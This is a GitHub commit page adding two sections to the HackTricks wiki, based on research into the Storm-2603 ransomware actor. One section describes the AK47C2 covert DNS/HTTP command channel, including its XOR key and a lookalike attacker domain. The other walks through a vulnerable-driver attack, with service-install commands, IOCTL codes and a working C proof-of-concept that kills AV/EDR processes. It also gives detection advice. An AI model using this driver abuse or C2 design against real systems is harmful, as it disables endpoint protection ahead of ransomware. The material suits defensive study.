Skip to content

Commit 42408a8

Browse files
authored
Merge pull request #1223 from HackTricks-wiki/update_Before_ToolShell__Exploring_Storm-2603_s_Previous__20250801_014810
Before ToolShell Exploring Storm-2603’s Previous Ransomware ...
2 parents 1f225f7 + 92fa639 commit 42408a8

2 files changed

Lines changed: 76 additions & 0 deletions

File tree

src/generic-hacking/tunneling-and-port-forwarding.md

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -542,6 +542,40 @@ Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request thr
542542

543543
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
544544

545+
### Custom DNS TXT / HTTP JSON C2 (AK47C2)
546+
547+
The Storm-2603 actor created a **dual-channel C2 ("AK47C2")** that abuses *only* outbound **DNS** and **plain HTTP POST** traffic – two protocols that are rarely blocked on corporate networks.
548+
549+
1. **DNS mode (AK47DNS)**
550+
• Generates a random 5-character SessionID (e.g. `H4T14`).
551+
• Prepends `1` for *task requests* or `2` for *results* and concatenates different fields (flags, SessionID, computer name).
552+
• Each field is **XOR-encrypted with the ASCII key `VHBD@H`**, hex-encoded, and glued together with dots – finally ending with the attacker-controlled domain:
553+
554+
```text
555+
<1|2><SessionID>.a<SessionID>.<Computer>.update.updatemicfosoft.com
556+
```
557+
558+
• Requests use `DnsQuery()` for **TXT** (and fallback **MG**) records.
559+
• When the response exceeds 0xFF bytes the backdoor **fragments** the data into 63-byte pieces and inserts the markers:
560+
`s<SessionID>t<TOTAL>p<POS>` so the C2 server can reorder them.
561+
562+
2. **HTTP mode (AK47HTTP)**
563+
• Builds a JSON envelope:
564+
```json
565+
{"cmd":"","cmd_id":"","fqdn":"<host>","result":"","type":"task"}
566+
```
567+
• The whole blob is XOR-`VHBD@H` → hex → sent as the body of a **`POST /`** with header `Content-Type: text/plain`.
568+
• The reply follows the same encoding and the `cmd` field is executed with `cmd.exe /c <command> 2>&1`.
569+
570+
Blue Team notes
571+
• Look for unusual **TXT queries** whose first label is long hexadecimal and always end in one rare domain.
572+
• A constant XOR key followed by ASCII-hex is easy to detect with YARA: `6?56484244?484` (`VHBD@H` in hex).
573+
• For HTTP, flag text/plain POST bodies that are pure hex and multiple of two bytes.
574+
575+
{{#note}}
576+
The entire channel fits inside **standard RFC-compliant queries** and keeps each sub-domain label under 63 bytes, making it stealthy in most DNS logs.
577+
{{#endnote}}
578+
545579
## ICMP Tunneling
546580

547581
### Hans
@@ -792,6 +826,7 @@ Because Tiny Core is stateless, attackers usually:
792826
## References
793827

794828
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
829+
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
795830

796831
{{#include ../banners/hacktricks-training.md}}
797832

src/windows-hardening/av-bypass.md

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -639,4 +639,45 @@ https://github.com/praetorian-code/vulcan
639639

640640
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
641641

642+
## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space
643+
644+
Storm-2603 leveraged a tiny console utility known as **Antivirus Terminator** to disable endpoint protections before dropping ransomware. The tool brings its **own vulnerable but *signed* driver** and abuses it to issue privileged kernel operations that even Protected-Process-Light (PPL) AV services cannot block.
645+
646+
Key take-aways
647+
1. **Signed driver**: The file delivered to disk is `ServiceMouse.sys`, but the binary is the legitimately signed driver `AToolsKrnl64.sys` from Antiy Labs’ “System In-Depth Analysis Toolkit”. Because the driver bears a valid Microsoft signature it loads even when Driver-Signature-Enforcement (DSE) is enabled.
648+
2. **Service installation**:
649+
```powershell
650+
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
651+
sc start ServiceMouse
652+
```
653+
The first line registers the driver as a **kernel service** and the second one starts it so that `\\.\ServiceMouse` becomes accessible from user land.
654+
3. **IOCTLs exposed by the driver**
655+
| IOCTL code | Capability |
656+
|-----------:|-----------------------------------------|
657+
| `0x99000050` | Terminate an arbitrary process by PID (used to kill Defender/EDR services) |
658+
| `0x990000D0` | Delete an arbitrary file on disk |
659+
| `0x990001D0` | Unload the driver and remove the service |
660+
661+
Minimal C proof-of-concept:
662+
```c
663+
#include <windows.h>
664+
665+
int main(int argc, char **argv){
666+
DWORD pid = strtoul(argv[1], NULL, 10);
667+
HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
668+
DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL);
669+
CloseHandle(hDrv);
670+
return 0;
671+
}
672+
```
673+
4. **Why it works**: BYOVD skips user-mode protections entirely; code that executes in the kernel can open *protected* processes, terminate them, or tamper with kernel objects irrespective of PPL/PP, ELAM or other hardening features.
674+
675+
Detection / Mitigation
676+
• Enable Microsoft’s vulnerable-driver block list (`HVCI`, `Smart App Control`) so Windows refuses to load `AToolsKrnl64.sys`.
677+
• Monitor creations of new *kernel* services and alert when a driver is loaded from a world-writable directory or not present on the allow-list.
678+
• Watch for user-mode handles to custom device objects followed by suspicious `DeviceIoControl` calls.
679+
680+
## References
681+
682+
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
642683
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)